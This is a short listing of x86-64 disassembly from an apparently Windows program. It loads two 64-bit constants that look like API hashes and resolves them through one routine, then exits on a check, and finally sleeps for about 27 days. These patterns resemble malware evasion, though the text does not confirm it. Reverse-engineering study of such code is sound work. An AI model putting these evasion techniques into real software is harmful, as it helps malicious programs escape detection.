movabs rax, 0xc6a2fa174e551bcb
mov qword [rsp + 0xa8], rax
lea r8, [rsp + 0xa0]
mov rdx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x30]
call fcn.140004bfc
test eax, eax
jne 0x140007ac1
mov eax, 1
jmp 0x140007b27
movabs rax, 0xd902864579da8171
mov qword [rsp + 0xc0], rax
lea r8, [rsp + 0xb8]
mov rdx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x30]
call fcn.140004bfc
test eax, eax
jne 0x140007af9
mov eax, 1
jmp 0x140007b27
lea rcx, [rsp + 0x40]
call fcn.140004b10
cmp eax, 1
jne 0x140007b10
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, [rsp + 0x40]
call fcn.140005230
mov ecx, 0x8c2e2800
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0xd0
pop rdi
ret